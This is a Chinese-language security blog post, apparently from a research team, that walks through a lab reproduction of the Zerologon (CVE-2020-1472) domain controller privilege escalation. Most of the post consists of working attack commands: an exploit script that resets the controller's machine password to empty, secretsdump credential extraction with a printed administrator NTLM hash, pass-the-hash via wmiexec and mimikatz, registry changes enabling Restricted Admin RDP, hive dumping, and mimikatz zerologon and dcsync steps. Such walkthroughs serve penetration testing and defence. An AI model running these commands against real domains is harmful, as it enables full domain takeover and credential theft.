CVE-2020-1472域内提权漏洞利用
2022-11-30 00:5:21 Author: 白帽子(查看原文) 阅读量:22 收藏

2020年8月11号,微软修复了Netlogon 特权提升漏洞,2020年9月11日,安全研究员Secura发布了公告,阐明了漏洞细节,之后相关的EXP也就被构造出来。该漏洞也称为“Zerologon”,CVSS评分为10.0,号称3秒撸域控,危害严重。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。

Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,可以向域发起Netlogon 计算机账户认证请求, 使用8字节全0 client challenge 不断尝试得到一个正确的8字节全0 client credential 通过认证,再通过相关调用完成对域控密码的修改。

具体细节可查看https://www.cynet.com/zerologon/

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2012

Windows Server 2012 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 R2 (Server Core installation)

Windows Server 2016

Windows Server 2016 (Server Core installation)

Windows Server 2019

Windows Server 2019 (Server Core installation)

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

Windows Server, version 2004 (Server Core installation)

复现环境

目标靶机:

域控:Winserver2012 R2(x64)
IP:10.211.55.12
hostname:sever2012
域:tide.rog

攻击机:mac os

使用的工具:

1、CVE-2020-1472 攻击exp

https://github.com/VoidSec/CVE-2020-1472

2、impacket网络协议工具包

https://github.com/SecureAuthCorp/impacket/

运行exp

首先运行exp脚本,将AD域控的机器账户server2012的密码置换成空:

命令查看域控计算机主机名和ip

net group "Domain Controllers" /domainping server2012.tide.org

-n指定域控计算机主机名

-t指定域控ip

运行exp,确定把域控机器账户密码置换成空

python3 cve-2020-1472-exploit.py -n server2012 -t 10.211.55.12

注意:置空密码可能会导致脱域,谨慎使用。

获取hash

置空密码后接下来我们利用impacket网络协议工具包的secretsdump.py脚本根据DRS协议来获取相关的HASH信息。

~impacket/examples/python3 secretsdump.py tide/server2012\[email protected].211.55.12 -no-pass

server2012的hash为31d6cfe0d16ae931b73c59d7e0c089c0,也就是空密码。

还得到的域管administrator账户的hash为6ec77abf4e1d5e5027db29d144bd8673。

获取到hash之后,可以尝试进行解密,如果解密成功可以直接连接3389获得域控权限。

ntml hash解密地址:https://www.objectif-securite.ch/en/ophcrack

如果密码复杂度高会解密失败,可以使用hash横向的工具执行系统cmd命令。

常用的工具有:wmiexec,psexec,atexec,smbexec等

wmiexec执行命令

使用wmiexec执行cmd,输入域控管理员对应hash,主机ip

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:6ec77abf4e1d5e5027db29d144bd8673 Administrator@10.211.55.12


mimikatz登陆rdp

抓取hash无法破解的情况下,可以尝试使用hash登陆远程桌面,需要开启"Restricted Admin Mode",在Windows8.1和Windows Server 2012R2上默认开启。

有两种开启方法第一种为打补丁,第二种为手动修改注册表。

修改注册表开启:

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

查看是否开启:

回显DisableRestrictedAdmin REG_DWORD 0x0 为开启

REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

使用支持restrictedadmin登录的攻击主机

mstsc.exe /restrictedadmin

如下为不支持restrictedadmin登录

弹出远程连接表示支持restrictedadmin登录

管理员运行mimikatz,执行命令

/user为登录的用户名 /domian为目标地址 /ntml为账户ntml值

privilege::debugsekurlsa::pth /user:administrator /domain:10.211.55.12 /ntlm:6ec77abf4e1d5e5027db29d144bd8673 "/run:mstsc.exe /restrictedadmin"

更改计算机地址为目标地址,点击连接。

登录成功。

坑点

1、ERROR kuhl_m_sekurlsa_acquireLSA ; Modules informations 请检查mimiket及对应操作系统版本

2、 error kuh1_m_sekurlsa_acquireLSA:logon list 请下载最新版mimiketz

3、遇到CredSSP加密数据库错误是大概是因为win10家庭版,一条命令直接解决。

REG add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters /v AllowEncryptionOracle /t REG_DWORD /d 2 /f

还原机器账户hash

如果机器账户hash长时间为空,可能会导致脱域,对内网的使用产生重大影响,因此拿到权限的第一时间需要把hash重置回去。

首先获取原hash,在cmd中执行。

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save

会在目标c盘根目录生成sam.save、system.save、security.save文件,然后下载到本地。

在mac上执行,没有下载文件到本地,原因未知。

可以使用其它操作系统执行,也可以使用powershell命令先上线到cs服务器,然后下载。

下载文件到本地后,执行如下命令,利用secretsdump.py解析保存在本地的ntml hash

~impacket/examplespython3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

箭头指向的位置即为之前使用的hash

9774cb9c026d03f8157bfdf6a9352342

使用reinstall_original_pw.py对hash进行恢复

python3 reinstall_original_pw.py server2012 10.211.55.12 9774cb9c026d03f8157bfdf6a9352342

使用空密码再次尝试查看目标hash信息,失败,说明目标hash已成功还原。

python3 secretsdump.py tide/server2012\[email protected]10.211.55.12 -no-pass

mimikatz 20200918后版本支持通过zerologon漏洞攻击域控服务器。

https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20200918-fix

1、运行poc查看是否存在漏洞

lsadump::zerologon /target:10.211.55.12 /account:server2012$

2、运行exp把域控主机hash置为空

lsadump::zerologon /target:10.211.55.12 /account:server2012$ /exploit

3、查看指定用户的hash

lsadump::dcsync /domain:tide.org /dc:Server2012.tide.org /user:administrator /authuser:server2012$ /authdomain:tide /authpassword:"" /authntlm

4、防止域环境出现问题,恢复密码

lsadump::postzerologon /target:10.211.55.12 /account:server2012$

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472

https://xz.aliyun.com/t/8367

https://my.oschina.net/Umbrel1a/blog/4589778

https://www.cnblogs.com/potatsoSec/p/13710947.html

E

N

D

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。

我知道你在看


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246440&idx=2&sn=76b73780684fd49a3e8e2f8073327fc5&chksm=82ea5681b59ddf97d1bad1fb92a96f5cb92bb3548e0535c1a63f33cc27f77cb257660d89a16c#rd
如有侵权请联系:admin#unsafe.sh